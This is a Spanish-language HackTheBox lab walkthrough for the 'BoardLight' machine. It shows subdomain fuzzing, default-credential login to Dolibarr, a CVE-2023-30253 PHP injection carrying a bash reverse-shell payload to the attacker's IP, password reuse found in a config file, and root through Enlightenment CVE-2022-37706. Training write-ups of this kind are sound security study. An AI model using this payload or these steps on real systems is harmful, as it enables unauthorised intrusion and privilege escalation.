BoardLight – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“BoardLight” es una máquina de categoría “fácil” de la plataforma HackTheBox
. Luego de inspeccionar la página web principal de la máquina víctima, notamos que ésta está aplicando vhosting
por lo que podemos encontrar un subdominio. Éste subdominio está corriendo el servicio Dolibarr
con las credenciales por defecto. Ya dentro, somos capaces de ganar acceso a la máquina víctima usando la vulnerabilidad CVE-2023-30253. Ya dentro somos capaces de encontrar credenciales en archivos para este servicio, las cuales son reutilizadas para un usuario dentro de la máquina víctima; logrando así pivotear a este nuevo usuario. Finalmente, revisando archivos con permisos SUID
vemos que la máquina tiene el servicio Enlightment
con estos permisos. Abusando de la vulnerabilidad CVE-2022-37706 somos capaces de convertirnos en root
y ganar así control total del sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
.
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.11
Aplicando algunos scripts de reconocimiento con la flag -sVC
sobre estos puertos nos da:
❯ sudo nmap -sVC -p22,80 10.10.11.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 22:31 -04
Nmap scan report for 10.10.11.11
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds
Dado que el puerto 80
HTTP
está abierto, visitamos http://10.10.11.11
. Podemos entonces ver la página:
En corto, esta página ofrece servicios para IT. Los botones de esta página redirigen a archivos .php
(por lo que este server está usando PHP
). Ninguno de los botones de la página retorna algo interesante. De manera que empezaremos a buscar por subdominios. Noto que en la parte inferior de la página hay un mail de contacto: info@board.htb
. De manera que asumo que el dominio principal es board.htb
. Agregamos este dominio a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.11 board.htb' | sudo tee -a /etc/hosts
10.10.11.11 board.htb
Luego, empezamos a buscar por dominios a través de vhosts
con ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://board.htb/ -H 'Host: FUZZ.board.htb' -fs 15949
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 265ms]
:: Progress: [4989/4989] :: Job [1/1] :: 231 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
Obtenemos un nuevo subdominio: crm.board.htb
Agrego este nuevo subdominio a mi archivo /etc/hosts
. Así, éste se ve ahora como:
❯ tail -n 1 /etc/hosts
10.10.11.11 board.htb crm.board.htb
Una vez agregado este nuevo subdominio, visitamos http://crm.board.htb
. Tenemos un panel de login:
De aquí se puede ver que el panel está usando el software Dolibarr
; más específicamente su versión 17.0.0
.
Dolibarr
ERP CRM is an open source, free software package for companies of any size, foundations or freelancers. It includes different features for enterprise resource planning (ERP
) and customer relationship management (CRM
) but also other features for different activities.En resumen, Dolibarr
es un software para planificación de recursos empresariales.
Buscando dolibarr 17.0.0 exploit
nos lleva al siguiente post de Swascan donde proveen, paso a paso, cómo explotar una vulnerabilidad para ejecutar código PHP
a través de una vulnerabilidad catalogada como CVE-2023-30253. Pero éste requiere estar autenticado/usuario. Del repositorio de Github de Dolibarr éste dice que las credenciales por defecto son admin:admin
. Uso estas credenciales y funcionan…
Ahora simplemente seguimos los pasos mostrados en el post de Swascan. Clickeo, en la parte superior izquierda, en Websites
y luego en el símbolo +
. Acto seguido, agregamos una simple página. En mi caso ésta la rellené con datos simples:
y clickeo en Create
.
El sitio creado debería de estar allí. Ahora simplemente lo editamos clickeando en +
al lado del texto Page
y agregamos una página. Agrego un header de HTML
genérico como:
<article>
<header>
<h1>A heading here</h1>
<p>Posted by John Doe</p>
<p>Some additional information here</p>
</header>
<p>Lorem Ipsum dolor set amet....</p>
</article>
y lo creamos. Ahora deberíamos de ver:
Clickeamos en Edit HTML Source
y agregamos el código:
<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content -->
<section id="mysection1" contenteditable="true">
<?PHP echo 2+2; ?>
</section>
Y, tal cual explica el post, podemos ver el resultado 4
en la página. Esto significa que el código ha sido ejecutado:
Ya que esto funcionó, repetimos los pasos. Pero esta vez agrego el payload:
<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content -->
<section id="mysection1" contenteditable="true">
<?PhP system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>
</section>
donde 10.10.16.6
es mi IP de atacante 443
es el peurto en el cual me pondré en escucha con netcat
para entablar una reverse shell.
Antes de clickear en Save
, recordamos empezar un listener con netcat
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Luego de clickear en Save
obtengo una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.11] 45952
bash: cannot set terminal process group (855): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ whoami
whoami
www-data
www-data@boardlight:~/html/crm.board.htb/htdocs/website$
Dolibarr
es borrada (probablemente por alguna tarea corriendo por detrás en el servidor). De manera que puede ser necesario volver a crear la página maliciosa en el panel si es que ésta no se encuentra allí.Ya dentro, puedo ver un usuario llamado larissa
en el directorio /home
:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ls /home
larissa
Subimos LinPEAS
(el cual puede ser descargado desde su reposotorio de Github) a la máquina víctima. Descargo el binario de LinPEAS
desde mi máquina de atacante, le asigno permisos de ejecución y pasamos linpeas.sh
con un servidor Python
HTTP
temporal en el puerto 8080
:
❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20240526-eac1a3fa/linpeas.sh
❯ chmod +x ./linpeas.sh
❯ ls && python3 -m http.server 8080
linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Lo descargamos en la máquina víctima usando wget
:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ wget http://10.10.16.6:8080/linpeas.sh -O /tmp/linpeas.sh
--2024-06-01 20:46:01-- http://10.10.16.6:8080/linpeas.sh
Connecting to 10.10.16.6:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: '/tmp/linpeas.sh'
/tmp/linpeas.sh 100%[=======================================================================================>] 842.56K 795KB/s in 1.1s
2024-06-01 20:46:03 (795 KB/s) - '/tmp/linpeas.sh' saved [862779/862779]
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ chmod +x /tmp/linpeas.sh
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ /tmp/linpeas.sh
Luego de correrlo noto un archivo “backup” (de respaldo) localizado en el directorio crm.board.htb
(el cual se encuentra en el directorio /var/www/html
):
<SNIP>
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 225 Aug 19 2021 /var/lib/sgml-base/supercatalog.old
-r-------- 1 www-data www-data 16394 May 13 13:20 /var/www/html/crm.board.htb/htdocs/conf/conf.php.old
-rw-rw-r-- 1 www-data www-data 2049 Jun 1 19:25 /var/www/html/crm.board.htb/documents/website/19d1d9a067/page7.tpl.php.old
<SNIP>
Revisando su contenido (y luego de remover comentarios y líneas vacías con grep
) tenemos:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php.old | grep -v "^\/\/" | grep -v '^$'
<?php
$dolibarr_main_url_root='';
$dolibarr_main_document_root='';
$dolibarr_main_data_root='';
$dolibarr_main_db_host='';
$dolibarr_main_db_port='';
$dolibarr_main_db_name='';
$dolibarr_main_db_user='';
$dolibarr_main_db_pass='';
$dolibarr_main_db_type='';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
$dolibarr_main_db_readonly=0;
$dolibarr_main_instance_unique_id='84b5bc91f83b56e458db71e0adac2b62';
$dolibarr_main_authentication='dolibarr';
$dolibarr_main_force_https='0';
$dolibarr_main_prod='1';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_main_restrict_ip='';
$dolibarr_nocsrfcheck='0';
$dolibarr_cron_allow_cli='0';
Está vacío.
No obstante, si revisamos el archivo tal cual/sin modificar (incluyendo comentarios) podemos ver algo:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php.old
<SNIP>
// dolibarr_main_db_pass
// =====================
// This parameter contains password used to read and write into Dolibarr database.
//
// Examples:
// $dolibarr_main_db_pass='myadminpass';
// $dolibarr_main_db_pass='myuserpassword';
//
<SNIP>
De manera que este archivo es un tipo de “template” para guardar credenciales en una base de datos.
Quizás exista un archivo conf.php
basados en este “template”. Usando find
para buscar por archivos llamados conf.php
en la máquina víctima nos muestra:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ find / -name "*conf.php" 2>/dev/null
/var/www/html/crm.board.htb/htdocs/install/fileconf.php
/var/www/html/crm.board.htb/htdocs/conf/conf.php
Revisando /var/www/html/crm.board.htb/htdocs/conf/conf.php
da algo interesante:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep -vE "^\/\/|^$"
<?php
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
$dolibarr_main_authentication='dolibarr';
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
$dolibarr_main_distrib='standard';
Podemos ver credenciales: dolibarrowner:serverfun2$2023!!
Se ven como credenciales para MySQL
. Reviso si el puerto 3306
(el puerto por defecto para MySQL
) está internamente abierto:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 *:80 *:*
Y podemos entrar en la base de datos MySQL
:
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ mysql -u 'dolibarrowner' -p'serverfun2$2023!!'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 521
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Sin embargo, antes de entrar en un rabbit hole, pienso “¿por qué no probar esta contraseña encontrada con el usuario larissa
encontrado previamente?”
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ su larissa
Password: serverfun2$2023!!
larissa@boardlight:/var/www/html/crm.board.htb/htdocs/website$
Funcionan. Tenemos credenciales: larisa:serverfun2$2023!!
También reviso con NetExec
si podemos loguear via SSH
con estas credenciales y podemos:
❯ netexec ssh 10.10.11.11 -u 'larissa' -p 'serverfun2$2023!!'
SSH 10.10.11.11 22 10.10.11.11 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.11 22 10.10.11.11 [+] larissa:serverfun2$2023!! (non root) Linux - Shell access!
De manera que me logueo a través de SSH
:
❯ sshpass -p 'serverfun2$2023!!' ssh -o stricthostkeychecking=no larissa@10.10.11.11
Warning: Permanently added '10.10.11.11' (ED25519) to the list of known hosts.
larissa@boardlight:~$ whoami
larissa
Podemos leer la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
Buscando por archivos SUID
podemos ver 4 archivos que no son “usuales”:
larissa@boardlight:~$ find / -perm -4000 2>/dev/null
<SNIP>
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
<SNIP>
El servicio Enlightment
tiene permisos SUID
.
Enlightenment
is a Window Manager, Compositor and Minimal Desktop for Linux
(the primary platform), BSD and any other compatible UNIX systemEn síntesis, Enlightment
es un administrador de ventanas para Linux
.
Buscando vulnerabilidades para Enlightment
encontramos la vulnerabilidad CVE-2022-37706. Buscando, podemos encontrar este exploit de exploit-db
o este de un repositorio de Github. Ambos son bastante similares. Usando el segundo, copio el código del exploit (dado que es simplemente código en Bash
), abro un archivo en la máquina de atacante con nano
llamado /tmp/exp.sh
, paso el código, lo guardo, le asigno permisos de ejecución y lo ejecutamos:
larissa@boardlight:~$ nano /tmp/exp.sh
larissa@boardlight:~$ chmod +x /tmp/exp.sh
larissa@boardlight:~$ /tmp/exp.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
GG. Podemos leer la flag root
en el directorio /root
.
~Happy Hacking